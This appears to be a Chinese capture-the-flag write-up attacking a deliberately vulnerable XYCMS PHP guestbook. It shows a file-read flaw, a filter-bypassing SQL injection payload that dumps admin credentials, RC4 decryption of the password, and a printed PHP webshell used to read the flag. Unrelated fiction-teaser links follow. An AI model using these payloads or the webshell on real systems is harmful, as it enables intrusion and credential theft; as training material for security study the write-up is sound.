Bugscan擂台赛-12

打开题目

TIM截图20170322162939.png

一个XYCMS搭建的PHP留言板,据说是一道代码审计。
进去后随便翻翻发现这个

TIM截图20170322163354.png

点进去,然后


TIM截图20170322163510.png

一处代码读取,默认参数是suanfa.php。读取一下include.php
<pre>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file = $_GET['file'];
if ($file == "" || strstr($file, 'Conf/xycms.inc.php')) {
echo "想多了,数据库信息能让你看";
exit;
} else {
$cut = strchr($file, "login");
if ($cut == false) {
$data = file_get_contents($file);
$date = htmlspecialchars($data);
echo $date;
} else {
echo "<script>alert('你弄到敏感目录了')</script>";
}
}
?></pre>
伪代码读取,而且发现存在login目录。然后发现其他的几个文件,比较重要的有medium.php存在sql注入
<pre><?php
if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
echo '没用的!!!';
exit;
}
$id = $_POST['soid'];
include 'Conf/xycms.inc.php';
include 'seclover.php';
include 'filter.php';
$id = seclover($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$sql = "SELECT * FROM message WHERE display=1 AND id={$id}";
//echo $sql;
$result = mysql_query($sql);
$rs = mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']) . ':
' . filter($rs['say']) . '<br />';
mysql_free_result($result);
//mysql_free_result($file);
mysql_close($con);
?> </pre>
seclover.php过滤规则
<pre><?php
function seclover($content)
{
$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
$info = strtolower($content);
for ($i = 0; $i <= count($keyword); $i++) {
$info = str_replace($keyword[$i], '', $info);
}
return $info;
}</pre>
所以可以利用搜索功能进行注入,由于medium.php对UA进行验证所以抓包改一下UA得到:

TIM截图20170322164709.png

根据过滤规则可以用ununionion的方式绕过关键字的过滤,用/**/注释绕过空格的过滤。

TIM截图20170322165553.png

<pre>soid=1//aandnd//1>2//ununionion//selselectect//1,2,3,group_concat(usernanameme,userpapassss)//frfromom//adadminmin//limit/**/0,1</pre>
得到
TIM截图20170322175323.png

密码是加密过的,然后想到之前的suanfa.php
<pre><?php
base64_encode(rc4($content, "yangrong"));
function rc4($data, $pwd)
{
$cipher = "";
$key[] = "";
$box[] = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < 256; $i++) {
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $data_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$k = $box[($box[$a] + $box[$j]) % 256];
$cipher .= chr(ord($data[$i]) ^ $k);
}
return $cipher;
}</pre>
先将密码进行rc4加密,然后再进行b64加密。
而rc4的解密方法就是将加密后的字符串再加密一次,所以只需要简单修改一下加密算法:
echo rc4(base64_decode('Cj7+2VxVao1/S5YESfmKwcA='),'yangrong');
得到密码:
helloevery1.2.3.4
然后登录后台得到:
TIM截图20170322175907.png

然后读取马的内容:
<pre><?php
$pwd = "cmd00";
if (isset($_POST[$pwd]) && !empty($_POST[$pwd])) {
$cmd = $_POST['cmd'];
$path = $_POST['path'];
switch ($cmd) {
case 'ls':
echo @FileTreeCode($path);
break;
case 'cat':
echo @file_get_contents($path);
break;
default:
die('Command Not Found Or No Permission!');
break;
}
}
function FileTreeCode($D)
{
$ret = "";
$F = @opendir($D);
if ($F == NULL) {
$ret = "ERROR:// Path Not Found Or No Permission!";
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . "/" . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@($E = substr(base_convert(@fileperms($P), 10, 8), -4));
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
if (@is_dir($P)) {
$M .= $N . "/" . $R;
} else {
$L .= $N . $R;
}
}
$ret .= $M . $L;
@closedir($F);
}
return $ret;
}</pre>
构造请求:

TIM截图20170322180210.png

得到flag文件 ,然后利用cat输出flag:

TIM截图20170322180359.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容